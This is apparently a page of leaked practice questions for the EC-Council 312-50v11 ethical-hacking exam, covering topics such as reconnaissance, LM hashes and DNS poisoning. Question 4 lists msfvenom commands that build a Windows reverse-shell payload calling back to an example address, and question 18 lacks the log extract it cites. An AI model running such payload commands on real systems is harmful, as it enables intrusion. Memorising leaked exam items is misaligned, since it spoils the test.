Eccouncil 312-50v11 Dumps

Question # 1

In order to tailor your tests during a web-application scan, you decide to determine which web-server version is hosting the application. On using the sV flag with Nmap. you obtainthe following response: 80/tcp open http-proxy Apache Server 7.1.6what Information-gathering technique does this best describe?

A. WhOiS lookup 
B. Banner grabbing 
C. Dictionary attack 
D. Brute forcing 

Show Answer

Question # 2

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cachepoisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a fake website. What is the techniqueemployed by Steve to gather information for identity theft?

A. Pretexting 
B. Pharming 
C. Wardriving 
D. Skimming 

Show Answer

Question # 3

What is GINA?

A. Gateway Interface Network Application 
B. GUI Installed Network Application CLASS 
C. Global Internet National Authority (G-USA) 
D. Graphical Identification and Authentication DLL 

Show Answer

Question # 4

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c 
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c 
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe 
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe 

Show Answer

Question # 5

You are a penetration tester working to test the user awareness of the employees of the client xyz. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

A. Reconnaissance 
B. Command and control 
C. Weaponization 
D. Exploitation 

Show Answer

Question # 6

Which of the following LM hashes represent a password of less than 8 characters? (Choose two.)

A. BA810DBA98995F1817306D272A9441BB 
B. 44EFCE164AB921CQAAD3B435B51404EE 
C. 0182BD0BD4444BF836077A718CCDF409 
D. CEC52EB9C8E3455DC2265B23734E0DAC 
E. B757BF5C0D87772FAAD3B435B51404EE 
F. E52CAC67419A9A224A3B108F3FA6CB6D 

Show Answer

Question # 7

Windows LAN Manager (LM) hashes are known to be weak.Which of the following are known weaknesses of LM? (Choose three.)

A. Converts passwords to uppercase. 
B. Hashes are sent in clear text over the network. 
C. Makes use of only 32-bit encryption. 
D. Effective length is 7 characters. 

Show Answer

Question # 8

A user on your Windows 2000 network has discovered that he can use L0phtcrack to sniff the SMB exchanges which carry user logons. The user is plugged into a hub with 23 othersystems.However, he is unable to capture any logons though he knows that other users are logging in.What do you think is the most likely reason behind this?

A. There is a NIDS present on that segment. 
B. Kerberos is preventing it. 
C. Windows logons cannot be sniffed. 
D. L0phtcrack only sniffs logons to web servers. 

Show Answer

Question # 9

A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.Which cryptography attack is the student attempting?

A. Man-in-the-middle attack 
B. Brute-force attack 
C. Dictionary attack 
D. Session hijacking 

Show Answer

Question # 10

During the process of encryption and decryption, what keys are shared?

A. Private keys 
B. User passwords 
C. Public keys 
D. Public and private keys 

Show Answer

Question # 11

if you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST. what do you know about the firewall you are scanning?

A. There is no firewall in place. 
B. This event does not tell you encrypting about the firewall. 
C. It is a stateful firewall 
D. It Is a non-stateful firewall. 

Show Answer

Question # 12

Chandler works as a pen-tester in an IT-firm in New York. As a part of detecting viruses in the systems, he uses a detection method where the anti-virus executes the malicious codes on a virtual machine to simulate CPU and memory activities. Which type of virus detection method did Chandler use in this context?

A. Heuristic Analysis 
B. Code Emulation 
C. Scanning 
D. Integrity checking 

Show Answer

Question # 13

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

A. Exploration 
B. Investigation 
C. Reconnaissance 
D. Enumeration 

Show Answer

Question # 14

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker Installed a scanneron a machine belonging to one of the vktims and scanned several machines on the same network to Identify vulnerabilities to perform further exploitation. What is the type ofvulnerability assessment tool employed by John in the above scenario?

A. Proxy scanner 
B. Agent-based scanner 
C. Network-based scanner 
D. Cluster scanner 

Show Answer

Question # 15

What type of a vulnerability/attack is it when the malicious person forces the user’s browser to send an authenticated request to a server?

A. Session hijacking 
B. Server side request forgery 
C. Cross-site request forgery 
D. Cross-site scripting 

Show Answer

Question # 16

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. Identify the behavior of the adversary In the above scenario.

A. use of command-line interface 
B. Data staging 
C. Unspecified proxy activities 
D. Use of DNS tunneling 

Show Answer

Question # 17

Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they werevictims of DNS Cache Poisoning. What should Bob recommend to deal with such a threat?

A. The use of security agents in clients’ computers 
B. The use of DNSSEC 
C. The use of double-factor authentication 
D. Client awareness 

Show Answer

Question # 18

Based on the following extract from the log of a compromised machine, what is the hacker really trying to steal?

A. har.txt 
B. SAM file 
C. wwwroot 
D. Repair file 

Show Answer

Question # 19

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session, upon receiving the users request. Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website. What is the attack performed by Bobby in the above scenario?

A. Wardriving 
B. KRACK attack 
C. jamming signal attack 
D. aLTEr attack 

Show Answer

Question # 20

After an audit, the auditors Inform you that there is a critical finding that you must tackle Immediately. You read the audit report, and the problem is the service running on port 369.Which service Is this and how can you tackle the problem?

A. The service is LDAP. and you must change it to 636. which is LDPAPS. 
B. The service is NTP. and you have to change It from UDP to TCP in order to encrypt it 
C. The findings do not require immediate actions and are only suggestions. 
D. The service is SMTP, and you must change it to SMIME. which is an encrypted way to send emails. 

Show Answer